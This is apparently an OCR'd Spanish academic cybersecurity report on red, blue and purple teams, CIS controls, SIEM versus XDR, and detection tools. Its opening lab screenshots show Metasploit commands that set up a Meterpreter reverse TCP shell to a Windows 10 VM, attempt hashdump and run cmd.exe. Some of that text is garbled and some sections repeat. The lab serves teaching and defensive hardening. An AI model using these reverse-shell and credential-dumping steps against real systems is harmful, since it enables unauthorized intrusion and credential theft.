Figura 31 Control de la maquina

HEm PO

Kali Linu - root@kali: /var/www/html/juan

File Actions Edit View Help

C  msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
KaliLinux ¢ msf6 exploit( ) > set lhost 1
lhost = 192.168.0.153
(an] ) > set lport 4
lport = 443
msf6 exploit( ) > exploit

Started reve andler on 192.
Sending stage bytes) to 19
Meterpreter se opened (1 .0. 4 > 192.168.0.104: t 3 147 -0400

meterpreter > hashdump
priv_passwd_get_sam_hashes: Operation failed:

meterpreter > sysinfo

Computer WINDOWS10

0s Windows 10 (10.0 Build 19045).

Architecture i x

System Language : en_US

Domain ORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > I

& o |E iR )@ @ creoerecHA

Fuente: Elaboracion propia.
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Ejecutamos comandos con privilegios de administrador.

Figura 32 Privilegios
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Fuente: Elaboracion propia.

Figura 33 Ejecucion
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root@kali: /var/www/html/juan

) Kali Linu
File Actions Edit View Help
5 C 6128

chrome.

e WINDOWS10\vboxu:
GoogleCrashHandler64. ex

\Program Files\Google\Chrome\Application\chrome.exe
Kali Linux ¢ e
WinStore.App.exe WINDOWS10\vboxuser \Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_
[=8] 2 x64__8wekyb3dsbbwe\!
RuntimeBroker.exe WINDOWS10\vboxuser C:\Windows\System32\RuntimeBroker.exe
6480 chrome. exe WINDOWS10\vboxuser C:\Program Files\Google\Chrome\Application\chrome.exe
6676 e WINDOWS10\vboxuser \Program Files ( )\Microsoft\Edge\Application\s
6728 ApplicationFrameHost.ex WINDOWS10\vboxu Windows\System32\ApplicationFrameHost.exe
e
6736 44 msedge.exe WINDOWS10\vboxuser
6824 A 1 WINDOWS10\vboxu
6988 4492 dge.exe WINDOWS10\vb

\Program Files (x86)\Microsoft\Edg

windows\System3 tscreen
\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

meterpreter > cute -f cmd.exe -i -t

Process 2932 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19045.

(c) Microsoft Corporation. Todos los derechos reservado:

C:\Users\vboxuser\Desktop>dir
dir
EL volumen de la unidad C no tiene etiqueta.
EL nemero de serie del volumen es: 1COA-4779
Directorio de vboxuser\Desktop
03/13/2024 » <DIR>
03/13/2024
03/13/2024

rchivos

dirs

sers\vboxuser\Desktop>[l

E&@ o Bl G]® @ cmr omecra

Fuente: Elaboracion propia.
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6 ESCENARIO 4

6.1. (ANTE UN ATAQUE INFORMATICO EN TIEMPO REAL USTED
COMO EXPERTO EN CIBERSEGURIDAD QUE PASOS TOMA PARA
IDENTIFICAR DICHO ATAQUE? DEBE LISTAR Y EXPLICAR CADA
UNO DE ESTOS PASOS.

Evaluar el incidente. Es necesario identificar y evaluar la gravedad del impacto del
incidente, llevando un registro detallado de los sistemas y procesos afectados y la
continuidad o no del impacto.

Informar del incidente. Es necesario tener compartimentacion de la informacién
con prudencia, de manera que solo se entere las personas autorizadas, toda vez
que puede existir un insider, involucrado, y puede afectar la gestion del incidente.

Contener los dafos. Es de extrema importancia realizar de manera oportuna la
gestion del incidente, que permita ser efectivo de manera diferencial, priorizando
las acciones segun la manera de ponderar los recursos afectados entre persona,
informacion y equipos tecnoldgicos afectados.

6.2. (TENIENDO EN CUENTA EL ATAQUE EJECUTADO DESDE EL
EJERCICIO DE RED TEAM LISTE EL PASO A PASO QUE EJECUTO
PARA SUBSANAR EL SISTEMA ANTE EL EVENTO DEL PAYLOAD?

Con el propésito de hardenizar las maquinas virtual con Windows, tenemos
necesariamente que verificar y activar todas las herramientas de seguridad que
posee el sistema operativo, Windows defender y los firewall, los cuales estan pre
instalados con los requisito necesarios para el propésito, en el cual se deben
configurar las actualizaciones y los respectivos parches de seguridad que tiene
destinados él y otorgados por Microsoft, se realiza la revision de puertos los
cuales necesariamente toca tener habilitados si el fin del equipo es mantener
conexion con otros equipos y redes, se ejecutan las actualizaciones vigentes en
ese entendido los atacantes no lograran utilizar ese puerto, se verifica nuevamente
los sistemas de seguridad y la activacion de los mismos, focalizadas en
desactivar las opciones que permitian las conexiones con asistencia remota, toda
vez que esta conexion fue la que permitié el ataque, de manera que a partir de
ahora se instalen los parches, al realizar esta configuracién se encuentran las
actualizaciones requeridas las cuales son instaladas y que no tienen costo, si se
quisiera una harderizacion mas fuerte se podria contratar servicios de pago para
obtener mayor eficiencia y eficacia.
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Figura 34 Payload

== £ Buscar =11 e
Fuente: Elaboracién propia.

Figura 35 Configuraciéon de seguridad
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Fuente: Elaboracion propia.
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Figura 36 Activacion
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Corriendo] - Oracle VM VirtualBox
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<
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Fuente: Elaboracion propia »

B windows10 [Corriendo] - Oracle VM VirtualBox = a
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Fuente: Elaboracion propia.
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6.3. (QUE DIFERENCIA EXISTEN ENTRE LOS EQUIPOS ANTES
MENCIONADOS CON EL PURPLE TEAM Y EQUIPOS DE
RESPUESTA A INCIDENTES INFORMATICOS?

Los equipos de blue y red team, tienen propdsitos comunes pero existen
momentos donde no se evidencia una sinergia entre los dos equipos, lo que
conlleva a que no se comparta la informacién requerida que genera una
competencia que puede afectar la entidad o empresa, toda vez que no
comparten la informacion necesaria, es de esta manera que el equipo purple team,
es el equipo de reunir y sincronizar tener las suficiente retroalimentacion entre los
dos equipos de manera que se optimice la informacion de cada uno de los equipos
de ataque y de defensa.

Este equipo lidera que los equipos de red y blue team, trabajen de manera
coordinada, a través del intercambio constante de recursos, metodologias
procesos y herramientas.®

6.4. ¢QUE FUNCION TIENE CIS “CENTER FOR INTERNET SECURITY”
DENTRO DE EQUIPOS BLUETEAM?

Obedece a los Controles de Seguridad Criticas y se relaciona con las buenas
practicas efectivas, aprobadas y certificadas, que contribuyen al mejoramiento en
niveles de ciberseguridad a las organizaciones y entidades, en la que se incluyen
las recomendaciones mas importantes de defensa de los sistemas informaticos,
las cuales se dividen en tres pilares principales: las basicas, las fundamentales y
las organizacionales.

Estas estrategias practicas son reconocidas a nivel mundial para proteger lis
sistemas informaticas y principalmente los datos como el activo mas valioso de las

organizaciones, otorgando entornos seguros tanto de manera local como con
aplicaciones en la nube.

NIVELES DE SEGURIDAD CIS

En cuanto a los niveles tenemos:

SRED TEAM, Blue Team y Purple team: Guia completa sobre los equipos en Ciberseguridad
[Ordofiez, W.]. Ciberseguridad, tecnologia e innovacion | GroupHacking [pagina web]. [Consultado
el 15, febrero, 2024]. Disponible en Internet:
https://www.grouphacking.com/ciberseguridad/hacking-etico/red-team-blue-team-y-purple-team-
guia-completa-sobre-los-equipos-en-ciberseguridad/
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Nivel 1: configuracion de seguridad minima recomendada. Deberia configurarse
en cualquier sistema, sin importar su tamafio. Causa poco 0 ningun impacto en el
servicio o en una funcionalidad reducida.

Nivel 2: configuracion de seguridad recomendada para entornos de alta seguridad.
Podria dar lugar a una cierta reduccion de la funcionalidad.

Controles CIS para gestionar tecnologias
En lo que respecta a las categorias nos podemos encontrar con benchmarks de:

e Sistemas operativos. Que cubren las configuraciones de seguridad de los
principales sistemas: Windows, Linux, OSX...

e Software de servidores. Sirven para implementar configuraciones de
seguridad en los softwares de servidores mas usados: Microsoft SQL
Server, Nginx, MySQL...

e Proveedores cloud. Se centran en las configuraciones de seguridad de las
nubes mas importantes: Amazon Web Services, Microsoft Azure, Google
Cloud...

e Dispositivos moviles. Focalizados en los sistemas operativos moviles,
incluyendo, por supuesto, Android e iOS.

e Dispositivos red. Recogen un conjunto de recomendaciones generales y
especificas para los dispositivos red y hardware aplicables como Cisco, F5
o Palo Alto Networks.

e Software de escritorio. Se ocupan de la configuracién de seguridad de los
programas de escritorio mas usados como Microsoft Office, Google Chrome
o Safari Browser.

e Dispositivos de impresiéon multifuncion. Incluyen recomendaciones para
configurar impresoras multifuncion en entornos de oficinas.

e Al categorizar los benchmarks, se facilita el acceso a los mismos,
sistematizandolos de forma altamente intuitiva.

El equipo de Tarlogic Security emplea las guias CIS de forma habitual para

verificar los dos niveles de configuracion de la seguridad en tecnologias concretas
como Windows 10, Microsoft 365, servidores Linux, bases de datos
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Figura 38 pagina consulta
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Fuente: Elaboracion propia.

Figura 39 Complemento
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Fuente: Elaboracion propia.
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Figura 40 Recursos
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A partir del 21 de marzo de 2024: Nuevo aviso de subprocesador externo | Aprende més

Mejores practicas y comunidades de expertos de renombre mundial

@ CIS Controls’ @ CIS Benchmarks™

@ cis securesuite’

Proteja su organizacion de
ataques cibernéticos con
controles CIS, guias
complementarias y
asignaciones mundialmente
reconocidos.

Proteja los sistemas de Tl
centra amenazas
cibernéticas con més de 100
pautas de configuracién en
més de 25 familias de
productos de proveedores.

Proteja su organizacion con
recursos y herramientas
disefiados para aprovechar
el poder de CIS

Benchmarks y CIS Controls.

APRENDE MAS —>

@ MS-ISAC* 7"/; EI-ISAC

Acceda a recursos para la
prevencién, proteccién,
respuesta y recuperacién de
amenazas para entidades
gubernamentales estatales,
locales, tribales vy territoriales
(SLTT) de EE. UU.

APRENDE MAS —>

| DESCARGARY EXPLORAR —>

| DESCARGAR LO ULTIMO —>

Fuente: Elaboracion propia.

6.5. TABLA DE DIFERENCIAS EXISTENTES ENTRE: SIEM Y XDR.

Tabla 1 Diferencias existentes entre: SIEM y XDR.

N° SIEM XDR
Permiten a las | Tecnologia de seguridad multicapa
organizaciones actuar de | que protege la infraestructura de TI
manera inmediata y eficiente

1 ante los ciberataques con el
objetivo de afectar los
sistemas de informacién que
estas poseen.
Recopila la mayor cantidad | Recopila y correlaciona los datos de
de informacion de los | multiples capas de seguridad,
dispositivos y aplicaciones en | incluidos los end points, las

2 una base de datos para | aplicaciones, el correo electronico,
analizarla 'y asi poder|las nubes y las redes, para
detectar comportamientos | proporcionar una mayor Vvisibilidad
anomalos y no habituales en | del entorno tecnolégico de una
la red que permiten detectar | organizacion
vulnerabilidades o amenazas
y bloquearlas
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N° SIEM XDR

Combina dos tecnologias de | Su enfoque va mas alld de la
seguridad  anteriores  las | infraestructura de TI, ya que

cualets S%n admlnl_ztrgcu;nEI(\j/le incorpora datos de otras fuentes,
eventos de seguridad ( ) como es los correo electronico y
3 la cual detecta patrones de .

servicios en la nube.

acceso fuera de lo comun en
tiempo real, y la otra es la
administracion  informacion
de seguridad (SIM), esta
centraliza los registros de
seguridad para una
interpretacién inmediata

Se centra en la recopilacion, | identificar las amenazas, responder a
correlacion 'y andlisis de | ellas y resolverlas mas rapidamente,
4 registros y eventos de incluso todo esto puede generar una
seguridad de multiples | reduccion en los costos de una
fuentes en toda la | filtracion de  datos de las
infraestructura de Tl de una organizaciones gue deciden
organizacion. implementar

Fuente: Elaboracion propia.

6.6. 3 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS
CON LICENCIA GPL.

Snort: es un IDS o Sistema de deteccion de intrusiones basado en red (NIDS).
Implementa un motor de deteccién de ataques y barrido de puertos que permite
registrar, alertar y responder ante cualquier anomalia previamente definida como
patrones que corresponden a ataques, barridos, intentos aprovechar alguna
vulnerabilidad, andlisis de protocolos, etc conocidos. Todo esto en tiempo real.

Snort esta disponible bajo licencia GPL, gratuito y funciona bajo plataformas
Windows y UNIX/Linux. Es uno de los mas usados y dispone de una gran cantidad
de filtros o patrones ya predefinidos, asi como actualizaciones constantes ante
casos de ataques, barridos o vulnerabilidades que vayan siendo detectadas a
través de los distintos boletines de seguridad.®

Este IDS implementa un lenguaje de creacion de reglas flexibles, potente y
sencillo. Durante su instalacion ya nos provee de cientos de filtros o reglas para
backdoor, DDoS, finger, ftp, ataques web, CGI, escaneos Nmap,

6 SNORT. network intrusion detection & prevention system. [An6nimo]. Snort.org [pagina web].
[Consultado el 19, febrero, 2024]. Disponible en Internet: https://www.snort.org
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Puede funcionar como sniffer (podemos ver en consola y en tiempo real qué
ocurre en nuestra red, todo nuestro trafico), registro de paquetes (permite guardar
en un archivo los logs para su posterior analisis, un analisis offline) o como un IDS
normal (en este caso NIDS).

Nmap: es la mejor herramienta de escaneo de puertos y descubrimiento de hosts
que existe actualmente. Nmap nos permitird obtener una gran cantidad de
informacion sobre los equipos de nuestra red, es capaz de escanear qué hosts
estan levantados, e incluso comprobar si tienen algun puerto abierto, si estan
filtrando los puertos (tienen un firewall activado), e incluso saber qué sistema
operativo esta utilizando un determinado obijetivo.

Al navegar por la red, al utilizar equipos conectados, podemos sufrir muchos tipos
de ataques que de una u otra forma nos pueden comprometer. Estamos
expuestos constantemente y por ello es importante conocer los riesgos que
pueden afectarnos. Este tipo de atague también se conoce como port scan.
Basicamente lo que hace un atacante es analizar de forma automatica todos los
puertos de un equipo, como por ejemplo un ordenador, que esté conectado a la
red. Lo que buscan es detectar posibles puertos abiertos y cuales podrian tener
protocolos de seguridad deficientes.

Herramienta AIDE (Advanced Intrusion Detection Environment). Es la
herramienta que nos a escanear sistemas de archivos con el propdésito de buscar
cambios no autorizados y va generando alertas si detecta modificaciones
sospechosas. Es importante si se procura la deteccidn de intrusiones basada en el
sistema de archivos.

La manera en que puede realizar esa deteccion de cambios es que AIDE crea una
base de datos de archivos en la ejecucién inicial y luego se comprueba con dicha
base de datos en las siguientes ejecuciones.

Debemos tener en cuenta en esta herramienta es que la base de datos que crea
inicialmente se almacena en el sistema de archivos raiz, y un atacante podria
modificarla facilmente para buscar ocultar su intrusion al sistema, es por esto por
lo que se recomienda realizar una copia de la base de datos y realizar
comprobaciones contra dicha copia peridédicamente.
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7 APORTES DENTRO DE UNA ORGANIZACION

Fortalecer los procesos que contribuya a la reduccion de los riesgos, se
establecieron instrumentos de recoleccion de informacion los cuales, permiten
establecer los parametros esenciales para estructurar de una manera adecuada y
acorde a las necesidades, recopilando informacion de expertos en ciberseguridad,
para continuar analizando los datos recopilados se tomé la frecuencia de las
estrategias implementadas por equipos de Blue Team después de realizar
cuantificacion y la decodificacion de los instrumentos de recoleccion de
informacion.

El analisis consistid en definir cada una de las buenas y malas practicas en el
parcheo de aplicaciones, focalizandose en sus componentes tecnoldgicos que
permitan las conexiones de los equipos terminales con los servidores y a su vez la
trasmision en tiempo real de la informacion, Partiendo que para poder materializar
este tipo de proyectos se requiere del despliegue de equipos capacitados y
protocolos, planeacion y secuencia de actividades periddicas en concordancia con
la periodicidad de los andlisis d ellos programas de acuerdo a su impacto y riesgo
analizado.

8 RECOMENDACIONES Y POLITICAS DE MEJORA EN ENTORNOS T.1.

Para fortalecer los procesos que contribuya a la reduccion de los riesgos, se
establecieron instrumentos de recoleccion de informacion los cuales, permiten
establecer los parametros esenciales para estructurar de una manera adecuada y
acorde a las necesidades, recopilando informacion de expertos en ciberseguridad,
para continuar analizando los datos recopilados se tomé la frecuencia de las
estrategias implementadas por equipos de Blue Team después de realizar
cuantificacion y la decodificacion de los instrumentos de recoleccion de
informacion.
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9 CONCLUSIONES SOBRE LA INVERSION EN CIBERSEGURIDAD EN
LAS ORGANIZACIONES

Con el equipo un Blue Tea focalizado en gestionar las debilidades del sistema, a la
entidad siempre estard acompafiada de soluciones oportunas que garanticen
menor porcentaje de riesgo dedicado a tratar las fragilidades del sistema de su
empresa, sus soluciones de ciberseguridad tienden a acompafiar siempre las
innovaciones del mercado, o que garantizan menor vulnerabilidad de su negocio a
los ataques.

La gestion de los equipos debe ser realizada periddicamente analizando la
eficiencia de las practicas medidas o politicas que se adoptan en una
organizaciéon, con el propdsito de mitigar la recurrente exposicion al riesgo, de
manera que se esté revisando, identificando y actualizando todos los softwares de
uso de la entidad.
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10 CONCLUCIONES

La gestion de los equipos debe ser realizada periddicamente analizando la
eficiencia de las practicas medidas o politicas que se adoptan en una
organizacién, con el proposito de mitigar la recurrente exposicion al riesgo, de
manera que se esté revisando, identificando y actualizando todos los softwares de
uso de la entidad.

1-Inventario de Dispositivos Autorizados y No Autorizados

Todos los dispositivos de hardware en la red para que solo los autorizados se les
da acceso a los dispositivos, y se encuentran dispositivos no autorizados y no
administrados y se les impide obtener acceso.

2 - Inventario de Software Autorizado y No Autorizado

Administrar activamente (inventario, seguimiento y correccién) todo el software en
la red para que solo el software autorizado sea instalado y pueda ejecutarse, y que
se encuentre software no autorizado y no administrado y se impida su acceso
instalacion o ejecucion.

3 - Configuraciones seguras para hardware y software en dispositivos moviles,
portatiles, estaciones de trabajo y Servidores.

Establecer, implementar y gestionar activamente (seguir, informar, corregir) la
configuracion de seguridad de las computadoras portatiles, servidores y
estaciones de trabajo mediante un riguroso proceso de gestion de configuracion y
control de cambios para evitar que los atacantes exploten servicios vy
configuraciones vulnerables.

4 - Evaluacion y correccion continua de vulnerabilidades

Adquirir, evaluar y tomar medidas continuamente sobre nueva informacion para
identificar vulnerabilidades, remediar, y minimizar la ventana de oportunidad para
los atacantes.

5 - Defensas contra malware

Controlar la instalacion, propagacion y ejecucion de codigo malicioso en multiples
puntos de la empresa, mientras optimizar el uso de la automatizacion para permitir
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una rapida actualizacion de la defensa, recopilacion de datos y acciones
correctivas.

51
6 - Seguridad del software de aplicaciones

Gestionar el ciclo de vida de seguridad de todo el software desarrollado y
adquirido internamente para prevenir, detectar y corregir las debilidades de
seguridad.

7 - Control de acceso inalambrico

Los procesos y herramientas utilizados para rastrear/controlar/prevenir/corregir el
uso de seguridad de las redes de area local inaldmbricas, (LANS), puntos de
acceso y sistemas de clientes inalambricos.

8 - Capacidad de recuperacion de datos

Los procesos y herramientas utilizados para realizar copias de seguridad
adecuadas de la informacién critica con una metodologia comprobada para
realizar copias de seguridad oportunas recuperacién del mismo.

9 - Evaluacién de habilidades de seguridad y capacitacion adecuada para llenar
vacios para todos los roles funcionales de la organizacién (priorizando aquellos de
mision critica para el negocio y su seguridad), identificar los conocimientos,
habilidades y capacidades especificos necesarios para apoyar la defensa de la
empresa; desarrollar y ejecutar un plan integrado para evaluar, identificar brechas
y remediar a través de politicas, planificacién organizacional, programas de
formacion y sensibilizacion.

10 - Configuraciones seguras para dispositivos de red como firewalls, enrutadores
y conmutadores, establecer, implementar y gestionar activamente (seguir,
informar, corregir) la configuracion de seguridad de la red dispositivos de
infraestructura utilizando un riguroso proceso de gestién de configuracion y control
de cambios para evitar que los atacantes exploten servicios y configuraciones
vulnerables.

11 - Limitacién y Control de Puertos, Protocolos y Servicios de Red

Gestionar (rastrear/controlar/corregir) el uso operativo continuo de puertos,
protocolos y servicios en red de dispositivos para minimizar las ventanas de
vulnerabilidad disponibles para los atacantes.
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12 - Uso Controlado de Privilegios Administrativos

Los procesos y herramientas utilizados para rastrear/controlar/prevenir/corregir el
uso, asignacion y configuracion de privilegios administrativos en computadoras,
redes y aplicaciones.

11 RECOMENDACIONES

Las deficiencias dejaron a las aplicaciones expuestas a ataques y vulnerabilidades
durante periodos prolongados, lo que puso en peligro la confidencialidad,
integridad y disponibilidad del dato y sistema.

» Las evaluaciones para las fallas y deficiencias en las practicas de parcheo de
aplicaciones revelaron varios desafios que deben abordarse para optimizar la
seguridad y proteccion del sistema y el dato.

* Los retrasos de la aplicacion de parches, la falta de priorizacién adecuada, la
falta de pruebas exhaustivas, la incapacidad para identificar y priorizar
vulnerabilidades, sumada a la falta de automatizacion, son areas criticas que
requieren atencion.

» Al abordar estas deficiencias, el equipo de Blue Team se logré encontrar
estrategias que puedan fortalecer su capacidad de respuesta, reducir los riesgos y
asegurar una proteccion mas efectiva de los sistemas.

» Se analiz6 la imperiosa necesidad de fortalecer el componente tecnoldgico en de
los equipos de Blue Team, incluyendo servicios de almacenamiento en nube,
infraestructura de fibra Optica y banda ancha, entre otras que permitan asegurar
los procesos y procedimientos que se adelantan y a su vez blinden actualizaciones
e intercambio de data que realicen las entidades.
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https://pdfs.semanticscholar.org/f3be/44039e5f4c1bfced6ad23455291b2a304c77.pdf
https://pdfs.semanticscholar.org/f3be/44039e5f4c1bfced6ad23455291b2a304c77.pdf

ANEXOS
LINK DEL VIDEO

https://www.youtube.com/watch?v=93pgaaln3ul&ab channel=CercadoBeltr%C3%
AlnPaula

RESULTADOS DE LA PRUEBA ANTI-PLAGIO
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https://www.youtube.com/watch?v=93pqaaln3uI&ab_channel=CercadoBeltr%C3%A1nPaula
https://www.youtube.com/watch?v=93pqaaln3uI&ab_channel=CercadoBeltr%C3%A1nPaula

